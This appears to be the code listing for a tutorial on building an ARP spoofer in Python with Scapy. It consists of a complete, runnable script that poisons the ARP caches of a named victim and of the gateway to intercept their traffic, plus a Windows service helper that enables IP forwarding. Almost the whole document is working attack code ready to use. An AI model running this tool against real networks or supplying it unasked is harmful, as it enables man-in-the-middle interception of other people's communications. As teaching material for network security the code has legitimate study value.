Code for How to Build an ARP Spoofer in Python using Scapy

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arp_spoof.py

from scapy.all import Ether, ARP, srp, send
import argparse
import time
import os
import sys

def _enable_linux_iproute():
    """
    Enables IP route ( IP Forward ) in linux-based distro
    """
    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open(file_path) as f:
        if f.read() == 1:
            # already enabled
            return
    with open(file_path, "w") as f:
        print(1, file=f)

def _enable_windows_iproute():
    """
    Enables IP route (IP Forwarding) in Windows
    """
    from services import WService
    # enable Remote Access service
    service = WService("RemoteAccess")
    service.start()

def enable_ip_route(verbose=True):
    """
    Enables IP forwarding
    """
    if verbose:
        print("[!] Enabling IP Routing...")
    _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
    if verbose:
        print("[!] IP Routing enabled.")

def get_mac(ip):
    """
    Returns MAC address of any device connected to the network
    If ip is down, returns None instead
    """
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src
        
def spoof(target_ip, host_ip, verbose=True):
    """
    Spoofs `target_ip` saying that we are `host_ip`.
    it is accomplished by changing the ARP cache of the target (poisoning)
    """
    # get the mac address of the target
    target_mac = get_mac(target_ip)
    # craft the arp 'is-at' operation packet, in other words; an ARP response
    # we don't specify 'hwsrc' (source MAC address)
    # because by default, 'hwsrc' is the real MAC address of the sender (ours)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    # send the packet
    # verbose = 0 means that we send the packet without printing any thing
    send(arp_response, verbose=0)
    if verbose:
        # get the MAC address of the default interface we are using
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

def restore(target_ip, host_ip, verbose=True):
    """
    Restores the normal process of a regular network
    This is done by sending the original informations 
    (real IP and MAC of `host_ip` ) to `target_ip`
    """
    # get the real MAC address of target
    target_mac = get_mac(target_ip)
    # get the real MAC address of spoofed (gateway, i.e router)
    host_mac = get_mac(host_ip)
    # crafting the restoring packet
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
    # sending the restoring packet
    # to restore the network to its normal process
    # we send each reply seven times for a good measure (count=7)
    send(arp_response, verbose=0, count=7)
    if verbose:
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="ARP spoof script")
    parser.add_argument("target", help="Victim IP Address to ARP poison")
    parser.add_argument("host", help="Host IP Address, the host you wish to intercept packets for (usually the gateway)")
    parser.add_argument("-v", "--verbose", action="store_true", help="verbosity, default is True (simple message each second)")
    args = parser.parse_args()
    target, host, verbose = args.target, args.host, args.verbose
    enable_ip_route()
    try:
        while True:
            # telling the `target` that we are the `host`
            spoof(target, host, verbose)
            # telling the `host` that we are the `target`
            spoof(host, target, verbose)
            # sleep for one second
            time.sleep(1)
    except KeyboardInterrupt:
        print("[!] Detected CTRL+C ! restoring the network, please wait...")
        restore(target, host)
        restore(host, target)

services.py

import win32serviceutil
import time

class WService:
    def __init__(self, service, machine=None, verbose=False):
        self.service = service
        self.machine = machine
        self.verbose = verbose
        
    @property
    def running(self):
        return win32serviceutil.QueryServiceStatus(self.service)[1] == 4

    def start(self):
        if not self.running:
            win32serviceutil.StartService(self.service)
            time.sleep(1)
            if self.running:
                if self.verbose:
                    print(f"[+] {self.service} started successfully.")
                return True
            else:
                if self.verbose:
                    print(f"[-] Cannot start {self.service}")
                return False
        elif self.verbose:
            print(f"[!] {self.service} is already running.")
    
    def stop(self):
        if self.running:
            win32serviceutil.StopService(self.service)
            time.sleep(0.5)
            if not self.running:
                if self.verbose:
                    print(f"[+] {self.service} stopped successfully.")
                return True
            else:
                if self.verbose:
                    print(f"[-] Cannot stop {self.service}")
                return False
        elif self.verbose:
            print(f"[!] {self.service} is not running.")

    def restart(self):
        if self.running:
            win32serviceutil.RestartService(self.service)
            time.sleep(2)
            if self.running:
                if self.verbose:
                    print(f"[+] {self.service} restarted successfully.")
                return True
            else:
                if self.verbose:
                    print(f"[-] Cannot start {self.service}")
                return False
        elif self.verbose:
            print(f"[!] {self.service} is not running.")

def main(action, service):
    service = WService(service, verbose=True)
    if action == "start":
        service.start()
    elif action == "stop":
        service.stop()
    elif action == "restart":
        service.restart()

    # getattr(remoteAccessService, action, "start")()

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="Windows Service Handler")
    parser.add_argument("service")
    parser.add_argument("-a", "--action", help="action to do, 'start', 'stop' or 'restart'",
                        action="store", required=True, dest="action")

    given_args = parser.parse_args()
    service, action = given_args.service, given_args.action
    main(action, service)